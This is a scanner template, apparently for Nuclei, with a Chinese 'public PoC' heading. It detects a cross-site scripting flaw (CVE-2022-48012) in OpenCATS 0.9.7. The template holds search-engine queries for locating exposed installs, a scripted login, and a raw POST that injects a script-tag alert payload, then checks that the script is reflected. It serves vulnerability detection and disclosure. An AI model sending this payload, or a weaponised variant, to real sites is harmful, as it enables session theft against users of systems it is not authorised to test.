OpenCATS 0.9.7 contains a cross-site scripting vulnerability via the component /opencats/index.php?m=settings&a=ajax_tags_upd. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2022-48012
info:
name: OpenCATS 0.9.7 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
OpenCATS 0.9.7 contains a cross-site scripting vulnerability via the component /opencats/index.php?m=settings&a=ajax_tags_upd. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
remediation: |
To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses the XSS vulnerability.
reference:
- https://github.com/Sakura-501/Opencats-0.9.7-Vulnerabilities
- https://github.com/Sakura-501/Opencats-0.9.7-Vulnerabilities/blob/main/Opencats-0.9.7-Reflected%20XSS%20in%20onChangeTag.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-48012
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-48012
cwe-id: CWE-79
epss-score: 0.04434
epss-percentile: 0.88617
cpe: cpe:2.3:a:opencats:opencats:0.9.7:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: opencats
product: opencats
shodan-query:
- title:"opencats"
- http.title:"opencats"
fofa-query: title="opencats"
google-query: intitle:"opencats"
tags: cve,cve2022,xss,opencats,authenticated
http:
- raw:
- |
GET /index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
POST /index.php?m=settings&a=ajax_tags_upd HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
tag_title=<script>alert(document.domain);</script>
matchers:
- type: dsl
dsl:
- contains(body_1, "opencats - Login")
- contains(body_3, "<script>alert(document.domain);</script>")
condition: and
# digest: 4a0a00473045022036cc419a363ddc7fd3df52a1345f753372ba0454390e3235edf16ad93b5c6c5b022100bbfb71dbbfe31883d2730abe74059a2204a7b42c823d716bf72fe0b4b184f3fe:922c64590222798bb761d5b6d8e72950